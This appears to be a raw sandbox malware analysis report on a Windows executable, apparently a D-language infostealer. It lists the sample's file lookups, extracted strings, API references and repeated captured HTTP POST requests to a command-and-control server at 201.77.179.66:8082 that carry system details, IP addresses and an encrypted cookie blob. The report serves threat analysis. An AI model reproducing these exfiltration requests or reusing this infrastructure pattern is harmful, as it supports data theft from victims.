"\Device\HarddiskVolume2\DBGHELP.DLL" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to access non-existent file "C:\dbghelp.dll" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to access non-existent file "\Device\HarddiskVolume2\LIBSSL32.DLL" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to access non-existent file "C:\libssl32.dll" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\LIBSSL32.DLL" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\libssl32.dll" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System\LIBSSL32.DLL" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to access non-existent file "C:\WINDOWS\system\libssl32.dll" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\LIBSSL32.DLL" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to access non-existent file "C:\WINDOWS\libssl32.dll" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to access non-existent file "\Device\HarddiskVolume2\ProgramData\Oracle\Java\javapath_target_114250\LIBSSL32.DLL" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to access non-existent file "C:\ProgramData\Oracle\Java\javapath\libssl32.dll" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to access non-existent file "C:\WINDOWS\system32\libssl32.dll" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\wbem\LIBSSL32.DLL" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to access non-existent file "C:\WINDOWS\System32\Wbem\libssl32.dll" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\LIBSSL32.DLL" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\libssl32.dll" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\WindowsApps\LIBSSL32.DLL" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\WindowsApps\libssl32.dll"37:T39c0,Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 254Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=85bf4868-0af8-482c-8ab9-62321542d77fAccept-Encoding: gzip,deflate--85bf4868-0af8-482c-8ab9-62321542d77fContent-Disposition: form-data; name="type"; system32--85bf4868-0af8-482c-8ab9-62321542d77fContent-Disposition: form-data; name="session"; 23wfow02rofw391ng23--85bf4868-0af8-482c-8ab9-62321542d77f--"; File: "PCAP") Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=fb00a1cf-f27e-409b-a420-268b21003c7bAccept-Encoding: gzip,deflate--fb00a1cf-f27e-409b-a420-268b21003c7bContent-Disposition: form-data; name="id"; --fb00a1cf-f27e-409b-a420-268b21003c7bContent-Disposition: form-data; name="type"; windows--fb00a1cf-f27e-409b-a420-268b21003c7bContent-Disposition: form-data; name="session"; 23wfow02rofw391ng23--fb00a1cf-f27e-409b-a420-268b21003c7b--"; File: "PCAP") Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 640Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ce26bf46-5922-475d-90eb-8377c2cb53d6Accept-Encoding: gzip,deflate--ce26bf46-5922-475d-90eb-8377c2cb53d6Content-Disposition: form-data; name="id"; 149C156F2F3AFE90--ce26bf46-5922-475d-90eb-8377c2cb53d6Content-Disposition: form-data; name="type"; ProgramData--ce26bf46-5922-475d-90eb-8377c2cb53d6Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23--ce26bf46-5922-475d-90eb-8377c2cb53d6Content-Disposition: form-data; name="cookie"; result<-=_=->8uDs63p64zyW/qcqecJebAc5wC4uNlmgh584avWxtO8q2TMJCUGLu5TBVLvnCFoWb+FV74rELqlwQXjhQWWKTuAUzEoqHJbAMslieJxNwhSffZ3jh2FaYQyKycr9q3+XaPURtPST/YUUhKpXhkiHWO8NE9ARsxtNyAWd165xCIE=--ce26bf46-5922-475d-90eb-8377c2cb53d6--"; File: "PCAP") Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=155afb6c-0d2b-470d-a69b-2cf4357eb152Accept-Encoding: gzip,deflate--155afb6c-0d2b-470d-a69b-2cf4357eb152Content-Disposition: form-data; name="id"; --155afb6c-0d2b-470d-a69b-2cf4357eb152Content-Disposition: form-data; name="type"; windows--155afb6c-0d2b-470d-a69b-2cf4357eb152Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23--155afb6c-0d2b-470d-a69b-2cf4357eb152--"; File: "PCAP") Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=123b20af-dcb4-4e35-8d1d-904c6d837167Accept-Encoding: gzip,deflate--123b20af-dcb4-4e35-8d1d-904c6d837167Content-Disposition: form-data; name="id"; 149C156F2F3AFE90--123b20af-dcb4-4e35-8d1d-904c6d837167Content-Disposition: form-data; name="type"; network--123b20af-dcb4-4e35-8d1d-904c6d837167Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23--123b20af-dcb4-4e35-8d1d-904c6d837167--"; File: "PCAP") Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=8674a5d4-30a8-4f3a-90d5-a141fcb1e7eeAccept-Encoding: gzip,deflate--8674a5d4-30a8-4f3a-90d5-a141fcb1e7eeContent-Disposition: form-data; name="id"; --8674a5d4-30a8-4f3a-90d5-a141fcb1e7eeContent-Disposition: form-data; name="type"; windows--8674a5d4-30a8-4f3a-90d5-a141fcb1e7eeContent-Disposition: form-data; name="session"; 23wfow02rofw391ng23--8674a5d4-30a8-4f3a-90d5-a141fcb1e7ee--"; File: "PCAP") Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0b18952c-4e81-44fc-838a-9db107a07a5bAccept-Encoding: gzip,deflate--0b18952c-4e81-44fc-838a-9db107a07a5bContent-Disposition: form-data; name="id"; 149C156F2F3AFE90--0b18952c-4e81-44fc-838a-9db107a07a5bContent-Disposition: form-data; name="type"; network--0b18952c-4e81-44fc-838a-9db107a07a5bContent-Disposition: form-data; name="session"; 23wfow02rofw391ng23--0b18952c-4e81-44fc-838a-9db107a07a5b--"; File: "PCAP") Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=fc5b2f9e-e1a1-45e5-b92f-54e5f42400d8Accept-Encoding: gzip,deflate--fc5b2f9e-e1a1-45e5-b92f-54e5f42400d8Content-Disposition: form-data; name="id"; --fc5b2f9e-e1a1-45e5-b92f-54e5f42400d8Content-Disposition: form-data; name="type"; windows--fc5b2f9e-e1a1-45e5-b92f-54e5f42400d8Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23--fc5b2f9e-e1a1-45e5-b92f-54e5f42400d8--"; File: "PCAP") Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=36d7651b-a056-4cb9-a8a3-a5006c3bb549Accept-Encoding: gzip,deflate--36d7651b-a056-4cb9-a8a3-a5006c3bb549Content-Disposition: form-data; name="id"; 149C156F2F3AFE90--36d7651b-a056-4cb9-a8a3-a5006c3bb549Content-Disposition: form-data; name="type"; network--36d7651b-a056-4cb9-a8a3-a5006c3bb549Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23--36d7651b-a056-4cb9-a8a3-a5006c3bb549--"; File: "PCAP") Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=031cfc76-0e60-44c0-9a52-3c4cd722eb03Accept-Encoding: gzip,deflate--031cfc76-0e60-44c0-9a52-3c4cd722eb03Content-Disposition: form-data; name="id"; --031cfc76-0e60-44c0-9a52-3c4cd722eb03Content-Disposition: form-data; name="type"; windows--031cfc76-0e60-44c0-9a52-3c4cd722eb03Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23--031cfc76-0e60-44c0-9a52-3c4cd722eb03--"; File: "PCAP") Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7ba407ca-35e2-4d7d-bba5-2ec2a3e2eae0Accept-Encoding: gzip,deflate--7ba407ca-35e2-4d7d-bba5-2ec2a3e2eae0Content-Disposition: form-data; name="id"; 149C156F2F3AFE90--7ba407ca-35e2-4d7d-bba5-2ec2a3e2eae0Content-Disposition: form-data; name="type"; network--7ba407ca-35e2-4d7d-bba5-2ec2a3e2eae0Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23--7ba407ca-35e2-4d7d-bba5-2ec2a3e2eae0--"; File: "PCAP") Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=f80e890f-52b9-4f6f-897d-51804aa07330Accept-Encoding: gzip,deflate--f80e890f-52b9-4f6f-897d-51804aa07330Content-Disposition: form-data; name="id"; --f80e890f-52b9-4f6f-897d-51804aa07330Content-Disposition: form-data; name="type"; windows--f80e890f-52b9-4f6f-897d-51804aa07330Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23--f80e890f-52b9-4f6f-897d-51804aa07330--"; File: "PCAP") Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=d1ef85bd-156b-45ed-a5d5-c18d49b96328Accept-Encoding: gzip,deflate--d1ef85bd-156b-45ed-a5d5-c18d49b96328Content-Disposition: form-data; name="id"; 149C156F2F3AFE90--d1ef85bd-156b-45ed-a5d5-c18d49b96328Content-Disposition: form-data; name="type"; network--d1ef85bd-156b-45ed-a5d5-c18d49b96328Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23--d1ef85bd-156b-45ed-a5d5-c18d49b96328--"; File: "PCAP") Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=a39af462-587d-46c6-9175-6e9642688b0eAccept-Encoding: gzip,deflate--a39af462-587d-46c6-9175-6e9642688b0eContent-Disposition: form-data; name="id"; --a39af462-587d-46c6-9175-6e9642688b0eContent-Disposition: form-data; name="type"; windows--a39af462-587d-46c6-9175-6e9642688b0eContent-Disposition: form-data; name="session"; 23wfow02rofw391ng23--a39af462-587d-46c6-9175-6e9642688b0e--"; File: "PCAP") Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=31d2f75b-ddb5-4adf-9574-b8619ff1be21Accept-Encoding: gzip,deflate--31d2f75b-ddb5-4adf-9574-b8619ff1be21Content-Disposition: form-data; name="id"; 149C156F2F3AFE90--31d2f75b-ddb5-4adf-9574-b8619ff1be21Content-Disposition: form-data; name="type"; network--31d2f75b-ddb5-4adf-9574-b8619ff1be21Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23--31d2f75b-ddb5-4adf-9574-b8619ff1be21--"; File: "PCAP") Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=4a23f9eb-3951-475b-affd-ef2a748b4132Accept-Encoding: gzip,deflate--4a23f9eb-3951-475b-affd-ef2a748b4132Content-Disposition: form-data; name="id"; --4a23f9eb-3951-475b-affd-ef2a748b4132Content-Disposition: form-data; name="type"; windows--4a23f9eb-3951-475b-affd-ef2a748b4132Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23--4a23f9eb-3951-475b-affd-ef2a748b4132--"; File: "PCAP") Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=030e49ac-a871-4741-9b32-15634e5717ebAccept-Encoding: gzip,deflate--030e49ac-a871-4741-9b32-15634e5717ebContent-Disposition: form-data; name="id"; 149C156F2F3AFE90--030e49ac-a871-4741-9b32-15634e5717ebContent-Disposition: form-data; name="type"; network--030e49ac-a871-4741-9b32-15634e5717ebContent-Disposition: form-data; name="session"; 23wfow02rofw391ng23--030e49ac-a871-4741-9b32-15634e5717eb--"; File: "PCAP") Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=b3902102-9277-4767-bb26-9f834173048dAccept-Encoding: gzip,deflate--b3902102-9277-4767-bb26-9f834173048dContent-Disposition: form-data; name="id"; --b3902102-9277-4767-bb26-9f834173048dContent-Disposition: form-data; name="type"; windows--b3902102-9277-4767-bb26-9f834173048dContent-Disposition: form-data; name="session"; 23wfow02rofw391ng23--b3902102-9277-4767-bb26-9f834173048d--"; File: "PCAP") Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=dbec2917-55d5-4bb2-9d16-ca1c3fcd5004Accept-Encoding: gzip,deflate--dbec2917-55d5-4bb2-9d16-ca1c3fcd5004Content-Disposition: form-data; name="id"; 149C156F2F3AFE90--dbec2917-55d5-4bb2-9d16-ca1c3fcd5004Content-Disposition: form-data; name="type"; network--dbec2917-55d5-4bb2-9d16-ca1c3fcd5004Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23--dbec2917-55d5-4bb2-9d16-ca1c3fcd5004--"; File: "PCAP") Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3bbbff9e-9ae9-4f69-a013-b14ce5bf1029Accept-Encoding: gzip,deflate--3bbbff9e-9ae9-4f69-a013-b14ce5bf1029Content-Disposition: form-data; name="id"; --3bbbff9e-9ae9-4f69-a013-b14ce5bf1029Content-Disposition: form-data; name="type"; windows--3bbbff9e-9ae9-4f69-a013-b14ce5bf1029Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23--3bbbff9e-9ae9-4f69-a013-b14ce5bf1029--"; File: "PCAP") Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7a4c39db-760c-479c-b11a-670871ac736aAccept-Encoding: gzip,deflate--7a4c39db-760c-479c-b11a-670871ac736aContent-Disposition: form-data; name="id"; 149C156F2F3AFE90--7a4c39db-760c-479c-b11a-670871ac736aContent-Disposition: form-data; name="type"; network--7a4c39db-760c-479c-b11a-670871ac736aContent-Disposition: form-data; name="session"; 23wfow02rofw391ng23--7a4c39db-760c-479c-b11a-670871ac736a--"; File: "PCAP") Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=54e59d41-1f34-4fdb-9f01-f5616efa8c55Accept-Encoding: gzip,deflate--54e59d41-1f34-4fdb-9f01-f5616efa8c55Content-Disposition: form-data; name="id"; --54e59d41-1f34-4fdb-9f01-f5616efa8c55Content-Disposition: form-data; name="type"; windows--54e59d41-1f34-4fdb-9f01-f5616efa8c55Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23--54e59d41-1f34-4fdb-9f01-f5616efa8c55--"; File: "PCAP") Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=d9cc8682-a6c8-45e2-92f2-103cce51b174Accept-Encoding: gzip,deflate--d9cc8682-a6c8-45e2-92f2-103cce51b174Content-Disposition: form-data; name="id"; 149C156F2F3AFE90--d9cc8682-a6c8-45e2-92f2-103cce51b174Content-Disposition: form-data; name="type"; network--d9cc8682-a6c8-45e2-92f2-103cce51b174Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23--d9cc8682-a6c8-45e2-92f2-103cce51b174--"; File: "PCAP") Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=405bd84d-b6e5-4ec8-bab2-d48c1d87e0dbAccept-Encoding: gzip,deflate--405bd84d-b6e5-4ec8-bab2-d48c1d87e0dbContent-Disposition: form-data; name="id"; --405bd84d-b6e5-4ec8-bab2-d48c1d87e0dbContent-Disposition: form-data; name="type"; windows--405bd84d-b6e5-4ec8-bab2-d48c1d87e0dbContent-Disposition: form-data; name="session"; 23wfow02rofw391ng23--405bd84d-b6e5-4ec8-bab2-d48c1d87e0db--"; File: "PCAP") Found string "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=131f5dbe-1754-4a18-94f9-298257c90082Accept-Encoding: gzip,deflate--131f5dbe-1754-4a18-94f9-298257c90082Content-Disposition: form-data; name="id"; 149C156F2F3AFE90--131f5dbe-1754-4a18-94f9-298257c90082Content-Disposition: form-data; name="type"; network--131f5dbe-1754-4a18-94f9-298257c90082Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23--131f5dbe-1754-4a18-94f9-298257c90082--"; File: "PCAP")38:T7dc,"201.77.179.66" Potential IP "201.77.179.66" found in string "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1User-Agent: dlang-requestsHost: 201.77.179.66:8082Connection: Keep-AliveAccept-Encoding: gzip,deflate" Potential IP "201.77.179.66" found in string "1 h<-=_=->http://201.77.179.66:8082/img/lndex.php<-=_=->" Potential IPs "192.168.243.244" "67.218.111.202" found in string "information,192.168.243.244<-=_=->67.218.111.202<-=_=->" Potential IP "201.77.179.66" found in string "Host: 201.77.179.66:8082" Potential IPs "192.168.243.244" "67.218.111.202" found in string "information,192.168.243.244<-=_=->67.218.111.202<-=_=->Win [10.0.16299.248]_x64<-=_=->1 h<-=_=->wka2ycu5qqqj70b\duhvrme<-=_=->" "201.77.179.66:8082" Potential IP "192.168.243.244" found in string ",192.168.243.244" "67.218.111.202" Potential IPs "192.168.243.244" "67.218.111.202" found in string "information,192.168.243.244<-=_=->67.218.111.202<-=_=->Win [10.0.16299.248]_x64<-=_=->" Potential IP "201.77.179.66" found in string "http://201.77.179.66:8082/img/lndex.php" Potential IP "201.77.179.66" found in string "http://201.77.179.66:8082/img/lndex.php<-=_=->" Potential IP "192.168.243.244" found in string "information,192.168.243.244<-=_=->" Potential IP "192.168.243.244" found in string ""information 192.168.243.244<-=_=->", "192.168.243.244", Potential IP "67.218.111.202" found in string "67.218.111.202<-=_=->", Potential IP "201.77.179.66" found in string "http://201.77.179.66:8082/img/images/header/149C156F2F3AFE90.gif", "01.77.179.66", Potential IP "67.218.111.202" found in string "->67.218.111.202<-=_=->Win [10.0.16299.248]_x64<-=_=->1 h<-=_=->wka2ycu5qqqj70b\duhvrme<-=_=->", "201.77.179.66:8082o", Potential IP "201.77.179.66" found in string "http://201.77.179.66:8082/img/images/header/149C156F2F3AFE90.gifm-data; name="type";", "201.77.179.66:8082}", Potential IP "201.77.179.66" found in string "\http://201.77.179.66:8082/img/images/header/149C156F2F3AFE90.gif", "201.77.179.66:8082~"39:T841,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00000308.00000000.66577.9FC50000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00000308.00000001.68500.9FC50000.00000004.mdmp") Found URL "http://201.77.179.66:8082/img/lndex.php<-=_=->content-disposition:" - Source: "00000000-00000308.00000001.68500.A16F0000.00000004.mdmp") Found URL "http://201.77.179.66:8082/img/lndex.php" - Source: "00000000-00000308.00000001.68500.A16F0000.00000004.mdmp") Found URL "http://201.77.179.66:8082/img/lndex.php<-=_=->" - Source: "00000000-00000308.00000001.68500.A16F0000.00000004.mdmp") Found URL "http://201.77.179.66:8082/img/images/header/149c156f2f3afe90.gif@yxnkzmdoamtscxdlcnr5dwlvcg1uynzjehoxmjm0nty3odkwqujdrevgr0hjsktmtu5puffsu1rvvldywvo=tget" - Source: "00000000-00000308.00000001.68500.A16F0000.00000004.mdmp") Found URL "https://www.openssl.org/filedescriptionopenssl" - Source: "00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00000308.00000002.70418.9FC50000.00000004.mdmp") Found URL "http://201.77.179.66:8082/img/lndex.php<-=_=->content-disposition:" - Source: "00000000-00000308.00000002.70418.A16F0000.00000004.mdmp") Found URL "http://201.77.179.66:8082/img/lndex.phpcontent-disposition:" - Source: "00000000-00000308.00000002.70418.A16F0000.00000004.mdmp") Found URL "http://201.77.179.66:8082/img/images/header/149c156f2f3afe90.gif@yxnkzmdoamtscxdlcnr5dwlvcg1uynzjehoxmjm0nty3odkwqujdrevgr0hjsktmtu5puffsu1rvvldywvo=tget" - Source: "00000000-00000308.00000002.70418.A16F0000.00000004.mdmp") Found URL "http://201.77.179.66:8082/img/images/header/149c156f2f3afe90.gifm-data;" - Source: "00000000-00000308.00000002.70418.A16F0000.00000004.mdmp") Found URL "http://201.77.179.66:8082/img/images/header/149c156f2f3afe90.gif@multipart/form-data;" - Source: "00000000-00000308.00000002.70418.A16F0000.00000004.mdmp") Found URL "https://www.openssl.org/filedescriptionopenssl" - Source: "00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp")3a:T60b,Found string "%s %s%s HTTP/1.1" (Indicator: "HTTP/1.1"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found string "> CONNECT %s:%d HTTP/1.1" (Indicator: "HTTP/1.1"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found string "CONNECT %s:%d HTTP/1.1" (Indicator: "HTTP/1.1"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found string "%s %s HTTP/1.0" (Indicator: "HTTP/1.0"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "POST /img/lndex.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00000308.00000001.68500.A16F0000.00000004.mdmp, 00000000-00000308.00000002.70418.A16F0000.00000004.mdmp") Found string "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00000308.00000001.68500.A16F0000.00000004.mdmp, 00000000-00000308.00000002.70418.A16F0000.00000004.mdmp") Found string "TGET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00000308.00000001.68500.A16F0000.00000004.mdmp, 00000000-00000308.00000002.70418.A16F0000.00000004.mdmp") Found string "php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00000308.00000002.70418.A16F0000.00000004.mdmp") Found string "header/149C156F2F3AFE90.gif HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00000308.00000002.70418.A16F0000.00000004.mdmp") Found string "g/lndex.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00000308.00000002.70418.A16F0000.00000004.mdmp")3b:Tcfd,Found string "crypto.aes" (Indicator: "aes"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found string "SymGetModuleBase64" (Indicator: "base64"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found string "base64Decode:" (Indicator: "base64"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found string "C:\D\dmd-2.096.1\windows\bin\..\..\src\phobos\std\base64.d" (Indicator: "base64"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found string "P~AeS" (Indicator: "aes"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found string "..\..\AppData\Local\dub\packages\crypto-0.2.17\crypto\src\crypto\aes.d" (Indicator: "aes"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found string "crypto.aes.AES!(4u, 4u, 10u).AES" (Indicator: "aes"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found string "crypto.aes.AESUtils" (Indicator: "aes"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found string "std.base64.Base64Exception" (Indicator: "base64"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found string "..\s\crypto\aes\aes_ige.c" (Indicator: "aes"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "assertion failed: (AES_ENCRYPT == enc) || (AES_DECRYPT == enc)" (Indicator: "aes"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "assertion failed: (length % AES_BLOCK_SIZE) == 0" (Indicator: "aes"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "aes(partial)" (Indicator: "aes"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "Content-Transfer-Encoding: base64%s" (Indicator: "base64"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "Content-Transfer-Encoding: base64%s%s" (Indicator: "base64"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "blowfish(ptr)" (Indicator: "blowfish"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "d.encryptedData" (Indicator: ".encrypt"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "CTLOG_new_from_base64" (Indicator: "base64"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "ct_base64_decode" (Indicator: "base64"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "SCT_new_from_base64" (Indicator: "base64"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "base64 decode error" (Indicator: "base64"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") file/memory contains long string with (Indicator: "aes"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "ECDSA-Parameters" (Indicator: "ecdsa"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "ECDSA_SIG" (Indicator: "ecdsa"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "Not suitable for ECDSA." (Indicator: "ecdsa"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp")3c:Ta64,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: 